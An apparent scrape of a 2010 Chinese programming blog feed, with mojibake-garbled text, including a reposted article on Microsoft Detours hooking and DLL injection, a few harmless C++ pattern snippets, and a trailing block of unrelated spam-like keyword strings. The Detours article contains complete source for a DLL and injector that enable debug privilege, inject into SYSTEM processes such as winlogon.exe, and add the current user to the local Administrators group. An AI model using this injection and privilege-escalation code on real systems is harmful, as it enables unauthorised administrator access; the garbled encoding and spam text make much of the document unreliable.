#000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    <br></span><span style="COLOR: #008080">73</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">74</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">75</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/None.gif"></span></div> <p><span style="WIDOWS: 2; TEXT-TRANSFORM: none; TEXT-INDENT: 0px; BORDER-COLLAPSE: separate; FONT: 16px Simsun; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: normal; COLOR: rgb(0,0,0); WORD-SPACING: 0px; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px" class=Apple-style-span><span style="LINE-HEIGHT: 16px; FONT-FAMILY: Verdana, Arial, sans-serif; FONT-SIZE: 13px" class=Apple-style-span><span style="COLOR: purple" class=code-string></span></span></span> </p> <img src ="http://www.shnenglu.com/codeart/aggbug/125326.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/codeart/" target="_blank">codeArt</a> 2010-08-31 01:32 <a href="http://www.shnenglu.com/codeart/archive/2010/08/31/125326.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>鍏充簬Detours[杞琞http://www.shnenglu.com/codeart/archive/2010/08/29/125226.htmlcodeArtcodeArtSun, 29 Aug 2010 15:08:00 GMThttp://www.shnenglu.com/codeart/archive/2010/08/29/125226.htmlhttp://www.shnenglu.com/codeart/comments/125226.htmlhttp://www.shnenglu.com/codeart/archive/2010/08/29/125226.html#Feedback0http://www.shnenglu.com/codeart/comments/commentRss/125226.htmlhttp://www.shnenglu.com/codeart/services/trackbacks/125226.htmlDetours鏄井杞紑鍙戠殑涓涓嚱鏁板簱錛堟簮浠g爜鍙湪http://research.microsoft.com/sn/detours 鍏嶈垂鑾峰緱錛? 鐢ㄤ簬淇敼榪愯涓殑紼嬪簭鍦ㄥ唴瀛樹腑鐨勫獎鍍忥紝浠庤屽嵆浣挎病鏈夋簮浠g爜涔熻兘鏀瑰彉紼嬪簭鐨勮涓恒傚叿浣撶敤閫旀槸錛?br style="LINE-HEIGHT: normal">
鎷︽埅WIN32 API璋冪敤錛屽皢鍏跺紩瀵煎埌鑷繁鐨勫瓙紼嬪簭錛屼粠鑰屽疄鐜癢IN32 API鐨勫畾鍒躲?br style="LINE-HEIGHT: normal">涓轟竴涓凡鍦ㄨ繍琛岀殑榪涚▼鍒涘緩涓鏂扮嚎紼嬶紝瑁呭叆鑷繁鐨勪唬鐮佸茍榪愯銆?br style="LINE-HEIGHT: normal">鏈枃灝嗙畝浠婦etours鐨勫師鐞嗭紝Detours搴撳嚱鏁扮殑鐢ㄦ硶錛?騫跺埄鐢―etours搴撳嚱鏁板湪Windows NT涓婄紪鍐欎簡涓涓▼搴忥紝璇ョ▼搴忚兘浣挎湁“璋冭瘯紼嬪簭”鐨勭敤鎴鋒潈闄愮殑鐢ㄦ埛鎴愪負緋葷粺綆$悊鍛橈紝闄勫綍鍒╃敤Detours搴撳嚱鏁頒慨鏀硅紼嬪簭浣挎櫘閫氱敤鎴峰嵆鍙垚涓虹郴緇熺鐞嗗憳錛堝湪NT4 SP3涓婏級銆?br style="LINE-HEIGHT: normal">
涓錛?Detours鐨勫師鐞?br style="LINE-HEIGHT: normal">
1錛?WIN32榪涚▼鐨勫唴瀛樼鐞?br style="LINE-HEIGHT: normal">
鎬繪墍鍛ㄧ煡錛學INDOWS NT瀹炵幇浜嗚櫄鎷熷瓨鍌ㄥ櫒錛屾瘡涓WIN32榪涚▼鎷ユ湁4GB鐨勮櫄瀛樼┖闂達紝 鍏充簬WIN32榪涚▼鐨勮櫄瀛樼粨鏋勫強鍏舵搷浣滅殑鍏蜂綋緇嗚妭璇峰弬闃匴IN32 API鎵嬪唽錛?浠ヤ笅浠呮寚鍑轟笌Detours鐩稿叧鐨勫嚑鐐癸細

(1) 榪涚▼瑕佹墽琛岀殑鎸囦護涔熸斁鍦ㄨ櫄瀛樼┖闂翠腑
(2) 鍙互浣跨敤QueryProtectEx鍑芥暟鎶婂瓨鏀炬寚浠ょ殑欏甸潰鐨勬潈闄愭洿鏀逛負鍙鍙啓鍙墽琛岋紝鍐嶆敼鍐欏叾鍐呭錛屼粠鑰屼慨鏀規(guī)鍦ㄨ繍琛岀殑紼嬪簭
(3) 鍙互浣跨敤VirtualAllocEx浠庝竴涓繘紼嬩負鍙︿竴姝h繍琛岀殑榪涚▼鍒嗛厤铏氬瓨錛屽啀浣跨敤 QueryProtectEx鍑芥暟鎶婇〉闈㈢殑鏉冮檺鏇存敼涓哄彲璇誨彲鍐欏彲鎵ц錛屽茍鎶婅鎵ц鐨勬寚浠や互浜岃繘鍒舵満鍣ㄧ爜鐨勫艦寮忓啓鍏ワ紝浠庤屼負涓涓鍦ㄨ繍琛岀殑榪涚▼娉ㄥ叆浠繪剰鐨勪唬鐮?br style="LINE-HEIGHT: normal">
2錛?鎷︽埅WIN32 API鐨勫師鐞?br style="LINE-HEIGHT: normal">
Detours瀹氫箟浜嗕笁涓蹇碉細

(1) Target鍑芥暟錛氳鎷︽埅鐨勫嚱鏁幫紝閫氬父涓篧indows鐨凙PI銆?br style="LINE-HEIGHT: normal">(2) Trampoline鍑芥暟錛歍arget鍑芥暟鐨勫鍒跺搧銆傚洜涓篋etours灝嗕細鏀瑰啓Target鍑芥暟錛屾墍浠ュ厛鎶奣arget鍑芥暟澶嶅埗淇濆瓨濂斤紝涓鏂歸潰浠嶇劧淇濆瓨Target鍑芥暟鐨勮繃紼嬭皟鐢ㄨ涔夛紝鍙︿竴鏂歸潰渚夸簬浠ュ悗鐨勬仮澶嶃?br style="LINE-HEIGHT: normal">(3) Detour 鍑芥暟錛氱敤鏉ユ浛浠arget鍑芥暟鐨勫嚱鏁般?br style="LINE-HEIGHT: normal">
Detours鍦═arget鍑芥暟鐨勫紑澶村姞鍏MP Address_of_ Detour_ Function鎸囦護錛堝叡5涓瓧鑺傦級鎶婂Target鍑芥暟鐨勮皟鐢ㄥ紩瀵煎埌鑷繁鐨凞etour鍑芥暟錛?鎶奣arget鍑芥暟鐨勫紑澶寸殑5涓瓧鑺傚姞涓奐MP Address_of_ Target _ Function+5浣滀負Trampoline鍑芥暟銆備緥瀛愬涓嬶細

鎷︽埅鍓嶏細Target _ Function錛?br style="LINE-HEIGHT: normal">錛汿arget鍑芥暟鍏ュ彛錛屼互涓嬩負鍋囨兂鐨勫父瑙佺殑瀛愮▼搴忓叆鍙d唬鐮?br style="LINE-HEIGHT: normal">push   ebp
mov   ebp,   esp
push   eax
push   ebx
Trampoline:
錛涗互涓嬫槸Target鍑芥暟鐨勭戶緇儴鍒?br style="LINE-HEIGHT: normal">……

鎷︽埅鍚庯細 Target _ Function錛?br style="LINE-HEIGHT: normal">jmp   Detour_Function
Trampoline:
錛涗互涓嬫槸Target鍑芥暟鐨勭戶緇儴鍒?br style="LINE-HEIGHT: normal">……

Trampoline_Function:
; Trampoline鍑芥暟鍏ュ彛, 寮澶寸殑5涓瓧鑺備笌Target鍑芥暟鐩稿悓
push   ebp
mov   ebp,   esp
push   eax
push   ebx
錛涜煩鍥炲幓緇х畫鎵цTarget鍑芥暟
jmp   Target_Function+5
3錛?涓轟竴涓凡鍦ㄨ繍琛岀殑榪涚▼瑁呭叆涓涓狣LL

浠ヤ笅鏄叾姝ラ錛?br style="LINE-HEIGHT: normal">
(1) 鍒涘緩涓涓猅hreadFuction錛屽唴瀹逛粎鏄皟鐢↙oadLibrary銆?br style="LINE-HEIGHT: normal">(2) 鐢╒irtualAllocEx涓轟竴涓凡鍦ㄨ繍琛岀殑榪涚▼鍒嗛厤涓鐗囪櫄瀛橈紝騫舵妸鏉冮檺鏇存敼涓哄彲璇誨彲鍐欏彲鎵ц銆?br style="LINE-HEIGHT: normal">(3) 鎶奣hreadFuction鐨勪簩榪涘埗鏈哄櫒鐮佸啓鍏ヨ繖鐗囪櫄瀛樸?br style="LINE-HEIGHT: normal">(4) 鐢–reateRemoteThread鍦ㄨ榪涚▼涓婂垱寤轟竴涓嚎紼嬶紝浼犲叆鍓嶉潰鍒嗛厤鐨勮櫄瀛樼殑璧峰鍦板潃浣滀負綰跨▼鍑芥暟鐨勫湴鍧錛屽嵆鍙負涓涓凡鍦ㄨ繍琛岀殑榪涚▼瑁呭叆涓涓狣LL銆傞氳繃DllMain 鍗沖彲鍦ㄤ竴涓凡鍦ㄨ繍琛岀殑榪涚▼涓繍琛岃嚜宸辯殑浠g爜銆?br style="LINE-HEIGHT: normal">
浜岋紟 Detours搴撳嚱鏁扮殑鐢ㄦ硶

鍥犱負Detours杞歡鍖呭茍娌℃湁闄勫甫甯姪鏂囦歡錛屼互涓嬫帴鍙d粎浠庡墫鏋愭簮浠g爜寰楀嚭銆?br style="LINE-HEIGHT: normal">
1錛?PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction)

鍔熻兘錛氫粠涓DLL涓壘鍑轟竴鍑芥暟鐨勫叆鍙e湴鍧
鍙傛暟錛歱szModule鏄疍LL鍚嶏紝pszFunction鏄嚱鏁板悕銆?br style="LINE-HEIGHT: normal">榪斿洖錛氬悕涓簆szModule鐨凞LL鐨勫悕涓簆szFunction鐨勫嚱鏁扮殑鍏ュ彛鍦板潃
璇存槑錛欴etourFindFunction闄や嬌鐢℅etProcAddress澶栵紝榪樼洿鎺ュ垎鏋怐LL鐨勬枃浠跺ご錛屽洜姝ゅ彲浠ユ壘鍒頒竴浜汫etProcAddress鎵句笉鍒扮殑鍑芥暟鍏ュ彛銆?br style="LINE-HEIGHT: normal">
2錛?DETOUR_TRAMPOLINE(trampoline_prototype, target_name)
鍔熻兘錛氳瀹忔妸鍚嶄負target_name 鐨凾arget鍑芥暟鐢熸垚Trampoline鍑芥暟錛屼互鍚庤皟鐢?trampoline_prototype鍦ㄨ涔変笂絳変簬璋冪敤Target鍑芥暟銆?br style="LINE-HEIGHT: normal">
3錛?BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour)
鍔熻兘錛氱敤Detour 鍑芥暟鎷︽埅Target鍑芥暟
鍙傛暟錛歱bTrampoline鏄疍ETOUR_TRAMPOLINE寰楀埌鐨則rampoline_prototype錛宲bDetour鏄?Detour 鍑芥暟鐨勫叆鍙e湴鍧銆?br style="LINE-HEIGHT: normal">
4錛?BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour)
鍔熻兘錛氭仮澶峊arget鍑芥暟
鍙傛暟錛歱bTrampoline鏄疍ETOUR_TRAMPOLINE寰楀埌鐨則rampoline_prototype錛宲bDetour鏄?Detour 鍑芥暟鐨勫叆鍙e湴鍧銆?br style="LINE-HEIGHT: normal">
5錛?BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName)
鍔熻兘錛氫負涓涓凡鍦ㄨ繍琛岀殑榪涚▼瑁呭叆涓涓狣LL
鍙傛暟錛歨Process鏄繘紼嬬殑鍙ユ焺錛宭pDllName鏄瑁呭叆鐨凞LL鍚?br style="LINE-HEIGHT: normal">
涓夛紟 紼嬪簭瀹炰緥

浠ヤ竴涓兘浣挎湁“璋冭瘯紼嬪簭”鐨勭敤鎴鋒潈闄愮殑鐢ㄦ埛鎴愪負緋葷粺綆$悊鍛樼殑紼嬪簭鍋氫緥瀛愯鏄嶥etours 搴撳嚱鏁扮殑鐢ㄦ硶銆傜▼搴忕殑璁捐鎬濊礬鏄壘涓涓互System甯愬彿榪愯鐨勮繘紼嬶紝濡俿poolss.exe, rpcss.exe, winlogon.exe, service.exe絳夛紝浣跨敤ContinueProcessWithDll鍦ㄥ叾涓敞鍏ユ妸褰撳墠鐢ㄦ埛鍔犲叆鍒?Administrators鏈湴緇勭殑DLL錛屽洜涓鴻DLL鍦ㄨ繖浜涜繘紼嬬殑瀹夊叏涓婁笅鏂囩幆澧冭繍琛岋紝鎵浠ユ湁鐩稿簲鐨勬潈闄愩?br style="LINE-HEIGHT: normal">
鍏堢紪鍐欑浉搴旂殑DLL錛?br style="LINE-HEIGHT: normal">
/*admin.dll, 褰撹繘紼嬭鍏ユ椂浼氭妸鍚嶄負szAccountName
鐨勭敤鎴峰姞鍏ュ埌Administrators鏈湴緇勩?/

#include
#include
#include
#include

/*浠ヤ笅鍒涘緩涓鍏變韓孌靛疄鐜拌繘紼嬮棿鐨勬暟鎹氳錛?br style="LINE-HEIGHT: normal">szAccountName 鏄敤鎴峰悕錛宐Prepared璇存槑
szAccountName鏄惁宸插垵濮嬪寲銆?/

#pragma data_seg(".MYSHARE")
BOOL bPrepared=FALSE;
wchar_t szAccountName[100]={0};
#pragma data_seg()

#pragma comment(linker, "/SECTION:.MYSHARE,RWS")

/*紼嬪簭璋冪敤SetAccountName璁劇疆瑕佸姞鍏ュ埌Administrators
鏈湴緇勭殑鐢ㄦ埛鍚嶏紝騫墮氱煡DllMain
宸插垵濮嬪寲szAccountName 錛?br style="LINE-HEIGHT: normal">浠ュ悗琚鍏ユ椂鍙皟鐢‥levatePriv */

__declspec(dllexport) VOID WINAPI
SetAccountName(wchar_t *Name)
{
    wcscpy(szAccountName,Name);
    bPrepared=TRUE;
}

/*鎶婂悕涓簊zAccountName鐨勭敤鎴峰姞鍏?br style="LINE-HEIGHT: normal">鍒癆dministrators鏈湴緇?/

__declspec(dllexport) VOID WINAPI ElevatePriv()
{
    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname=szAccountName;
    NetLocalGroupAddMembers(NULL,L"Administrators",
        3,(LPBYTE)&account,1);
}

__declspec(dllexport) ULONG WINAPI
DllMain(HINSTANCE hInstance,
        DWORD dwReason, PVOID lpReserved)
{
    switch (dwReason) {
   case DLL_THREAD_ATTACH:
       if (bPrepared)
           ElevatePriv();
    }
    return TRUE;
}

紼嬪簭濡備笅錛?br style="LINE-HEIGHT: normal">
/*AddMeToAdministrators.exe 鎶婂綋鍓嶇敤鎴峰姞鍏ュ埌
Administrators鏈湴緇勩備嬌鐢ㄦ柟娉曚負錛氾紙1錛?br style="LINE-HEIGHT: normal">榪愯浠誨姟綆$悊鍣ㄦ壘鍒皊poolss.exe鎴杛pcss.exe鎴杦inlogon.exe鎴杝evice.exe鐨勮繘紼婭D 錛?錛夋墽琛孉ddMeToAdministrators.exe procid, 鍏朵腑procid涓猴紙1錛夎涓嬬殑榪涚▼ID 錛?錛夌閫鍐嶇鍒幫紝榪愯鐢ㄦ埛綆$悊鍣紝鍗沖彲鍙戠幇鑷繁宸插湪Administrators鏈湴緇勪腑銆?/

#include
#include
#include
#include
#include

extern VOID WINAPI SetAccountName(wchar_t *Name);

/* GetCurrentUser寰楀埌鑷繁鐨勭敤鎴峰悕縐?/

void GetCurrentUser(wchar_t *szName)
{
    HANDLE hProcess, hAccessToken;
    wchar_t InfoBuffer[1000],szAccountName[200],
        szDomainName[200];
    PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
    DWORD dwInfoBufferSize,dwAccountSize = 200,
        dwDomainSize = 200;
    SID_NAME_USE snu;

    hProcess = GetCurrentProcess();

    OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken);

    GetTokenInformation(hAccessToken,TokenUser,
        InfoBuffer,
        1000, &dwInfoBufferSize);

    LookupAccountSid(NULL, pTokenUser->User.Sid,
        szAccountName,
        &dwAccountSize,szDomainName, &dwDomainSize, &snu);
    wcscpy(szName,szDomainName);
    wcscat(szName,L"\");
        wcscat(szName,szAccountName);
}

/* EnablePrivilege鍚敤鑷繁鐨?#8220;璋冭瘯紼嬪簭”鐨勭敤鎴鋒潈闄?/

BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable)
{
    HANDLE hToken;
    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES, &hToken))
        return FALSE;
    TOKEN_PRIVILEGES tp;
    tp.PrivilegeCount = 1;
    LookupPrivilegeValue(NULL, szPrivName,
        &tp.Privileges[0].Luid);
    tp.Privileges[0].Attributes = fEnable ?
SE_PRIVILEGE_ENABLED : 0;
    AdjustTokenPrivileges(hToken, FALSE, &tp,
        sizeof(tp), NULL, NULL);
    return((GetLastError() == ERROR_SUCCESS));
}

int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev,
                   LPSTR lpszCmdLine, int
                   nCmdShow)
{
    INT argc;
    WCHAR **argv;
    argv = CommandLineToArgvW(GetCommandLineW(),
        &argc);
    INT nProcessId = -1;
    if (argc!=2){
        wprintf(L"usage %s pid", argv[0]);
        return 1;
    }
    nProcessId = _wtoi(argv[1]);
    printf("%d ",nProcessId);
    /*瑕佹垚鍔熸墽琛孋ontinueProcessWithDll錛岃瀵箇inlogon.exe絳夎繘紼嬬殑榪涚▼鍙ユ焺鏈夎鍐欏瓨鍌ㄥ櫒鍐呭鍜屽垱寤虹嚎紼嬬殑鏉冮檺錛孍nablePrivilege浣挎湰榪涚▼鏈夎繖鏍風殑鏉冨埄銆?/

    if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){
        printf("AdjustTokenPrivilege Fail %u ",
            (UINT)GetLastError());
        return 1;
    }
    HANDLE   gNewHandle =
        OpenProcess(PROCESS_ALL_ACCESS
        , TRUE, nProcessId);
    if (!gNewHandle){
        printf("OpenProcess Fail %u ",
            (UINT)GetLastError());
        return 1;
    }
    wchar_t szName[100];
    GetCurrentUser(szName);
    SetAccountName(szName);
    If (!ContinueProcessWithDll(gNewHandle,
        L"c:\temp\admin.dll")) {
            printf("ContinueProcessWithDll failed %u",
                (UINT)GetLastError());
            return 3;
    }
    return 0;
}
鍥犱負“璋冭瘯紼嬪簭”鐨勭敤鎴鋒潈闄愮己鐪佹儏鍐典笅浠呰祴浜堢粰綆$悊鍛橈紝鍥犳騫朵笉浼氶犳垚瀹夊叏婕忔礊銆備絾璇ョ▼搴忔彮紺哄嚭“璋冭瘯紼嬪簭”鐨勭敤鎴鋒潈闄愬叾瀹炴槸鑷抽珮鏃犱笂鐨勭敤鎴鋒潈闄愶紝鍙兘鎺堜簣緇欏彲淇$敤鎴楓?br style="LINE-HEIGHT: normal">
鍥涳紟 緇撹      Detours鏄竴寮哄ぇ鐨勫伐鍏鳳紝鎻愪緵浜嗙畝鍗曟槗鐢ㄧ殑鍑芥暟鎺ュ彛鏉ユ嫤鎴猈IN32 API璋冪敤鍜屼負涓涓凡鍦ㄨ繍琛岀殑榪涚▼瑁呭叆涓涓狣LL銆?/span>


codeArt 2010-08-29 23:08 鍙戣〃璇勮
]]>
QT涓殑鎻掍歡http://www.shnenglu.com/codeart/archive/2010/08/28/125058.htmlcodeArtcodeArtSat, 28 Aug 2010 11:56:00 GMThttp://www.shnenglu.com/codeart/archive/2010/08/28/125058.htmlhttp://www.shnenglu.com/codeart/comments/125058.htmlhttp://www.shnenglu.com/codeart/archive/2010/08/28/125058.html#Feedback0http://www.shnenglu.com/codeart/comments/commentRss/125058.htmlhttp://www.shnenglu.com/codeart/services/trackbacks/125058.html闃呰鍏ㄦ枃

codeArt 2010-08-28 19:56 鍙戣〃璇勮
]]>
鍔姏,浠庣幇鍦ㄥ紑濮?/title><link>http://www.shnenglu.com/codeart/archive/2010/08/28/125056.html</link><dc:creator>codeArt</dc:creator><author>codeArt</author><pubDate>Sat, 28 Aug 2010 08:15:00 GMT</pubDate><guid>http://www.shnenglu.com/codeart/archive/2010/08/28/125056.html</guid><wfw:comment>http://www.shnenglu.com/codeart/comments/125056.html</wfw:comment><comments>http://www.shnenglu.com/codeart/archive/2010/08/28/125056.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/codeart/comments/commentRss/125056.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/codeart/services/trackbacks/125056.html</trackback:ping><description><![CDATA[ 涔嬪墠鍐檅log鍙槸澶囧繕,鐪嬩簡涓浜涘緢濂界殑鎶鏈枃绔犱箣鍚?寰堟槸緹℃厱.浠庣幇鍦ㄥ紑濮?濂藉ソ鐨勭淮鎶よ繖涓猙log鍟?<img src ="http://www.shnenglu.com/codeart/aggbug/125056.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/codeart/" target="_blank">codeArt</a> 2010-08-28 16:15 <a href="http://www.shnenglu.com/codeart/archive/2010/08/28/125056.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>鐢ㄥ湪COM涓紝綾昏涓烘瘮杈冩紓鐨勪唬鐮?/title><link>http://www.shnenglu.com/codeart/archive/2010/08/27/124972.html</link><dc:creator>codeArt</dc:creator><author>codeArt</author><pubDate>Fri, 27 Aug 2010 13:02:00 GMT</pubDate><guid>http://www.shnenglu.com/codeart/archive/2010/08/27/124972.html</guid><wfw:comment>http://www.shnenglu.com/codeart/comments/124972.html</wfw:comment><comments>http://www.shnenglu.com/codeart/archive/2010/08/27/124972.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/codeart/comments/commentRss/124972.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/codeart/services/trackbacks/124972.html</trackback:ping><description><![CDATA[<pre style="margin-top: 0pt;" id="pre34">#include <iostream><br><br>using namespace std;<br><br>template <typename T><br>class Base {<br>public:<br> void fun() {<br> cout << "Base::fun" << endl;<br> }<br><br> void doSomething() {<br> T* pT = static_cast<T*>(this);<br> pT->fun();<br> }<br>};<br><br>class Drive : public Base<Drive> {<br>public:<br> void fun() {<br> cout << "Drive::fun" << endl;<br> }<br>};<br><br>class MostDrive : public Drive {<br>public:<br> void fun() {<br> cout << "MostDrive::fun" << endl;<br> }<br>};<br><br>int main() {<br> MostDrive obj;<br> obj.doSomething();<br><br> return 0;<br>}<br></pre> <br><img src ="http://www.shnenglu.com/codeart/aggbug/124972.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/codeart/" target="_blank">codeArt</a> 2010-08-27 21:02 <a href="http://www.shnenglu.com/codeart/archive/2010/08/27/124972.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>c++閲嶈澆->http://www.shnenglu.com/codeart/archive/2010/08/27/124971.htmlcodeArtcodeArtFri, 27 Aug 2010 12:46:00 GMThttp://www.shnenglu.com/codeart/archive/2010/08/27/124971.htmlhttp://www.shnenglu.com/codeart/comments/124971.htmlhttp://www.shnenglu.com/codeart/archive/2010/08/27/124971.html#Feedback0http://www.shnenglu.com/codeart/comments/commentRss/124971.htmlhttp://www.shnenglu.com/codeart/services/trackbacks/124971.html#include <iostream>

using namespace std;

class Inner {
public:
void Fun() {
cout << "Inner::Fun" << endl;
}
};

class Outer {
private:
Inner* m_pInner;

public:
Outer(Inner* p_pInner) : m_pInner(p_pInner) {
}

Inner* operator -> () {
return m_pInner;
}
};

int main() {
Inner objInner;
Outer objOuter(&objInner);

objOuter->Fun();

return 0;
}



codeArt 2010-08-27 20:46 鍙戣〃璇勮
]]>
絳栫暐妯″紡c++琛ㄨ堪澶囧繕http://www.shnenglu.com/codeart/archive/2010/08/27/124970.htmlcodeArtcodeArtFri, 27 Aug 2010 12:43:00 GMThttp://www.shnenglu.com/codeart/archive/2010/08/27/124970.htmlhttp://www.shnenglu.com/codeart/comments/124970.htmlhttp://www.shnenglu.com/codeart/archive/2010/08/27/124970.html#Feedback0http://www.shnenglu.com/codeart/comments/commentRss/124970.htmlhttp://www.shnenglu.com/codeart/services/trackbacks/124970.html#include <iostream>

using namespace std;

class Round1 {
public:
void Play() {
cout << "Round1::Play" << endl;
}
};

class Round2 {
public:
void Play() {
cout << "Round2::Play" << endl;
}
};

template <typename T>
class Strategy {
private:
T objT;
public:
void Play() {
objT.Play();
}
};

int main() {
Strategy<Round1> obj1;
Strategy<Round2> obj2;

obj1.Play();
obj2.Play();

return 0;
}



codeArt 2010-08-27 20:43 鍙戣〃璇勮
]]>
久久久久人妻一区二区三区 | 亚洲国产高清精品线久久| 91精品国产高清91久久久久久| 中文字幕无码免费久久| 亚洲精品美女久久777777| 精品久久一区二区三区| 久久亚洲天堂| 精品久久久久久久中文字幕| 91麻精品国产91久久久久 | 久久精品草草草| 久久久久噜噜噜亚洲熟女综合| 中文无码久久精品| 国产成人久久激情91| 国产精品99久久精品爆乳| 99久久精品国产一区二区| 久久综合九色综合网站| 久久久久久久精品成人热色戒| 日韩精品久久久久久久电影蜜臀| 国产成人精品白浆久久69| 97香蕉久久夜色精品国产| 欧美激情精品久久久久| 亚洲精品无码成人片久久| 好久久免费视频高清| 亚洲综合久久久| 97精品伊人久久久大香线蕉 | 久久精品无码一区二区日韩AV| 亚洲国产成人精品女人久久久 | 2022年国产精品久久久久| 国产精品xxxx国产喷水亚洲国产精品无码久久一区 | 久久中文字幕无码专区| 中文字幕乱码久久午夜| 91精品久久久久久无码| 人妻精品久久久久中文字幕69| 97久久香蕉国产线看观看| 国产精品99久久久久久宅男| 亚洲国产精品狼友中文久久久| 日韩欧美亚洲综合久久影院d3| 久久久久亚洲AV无码专区首JN | 青青青青久久精品国产h| 人妻无码中文久久久久专区 | 人妻无码久久一区二区三区免费 |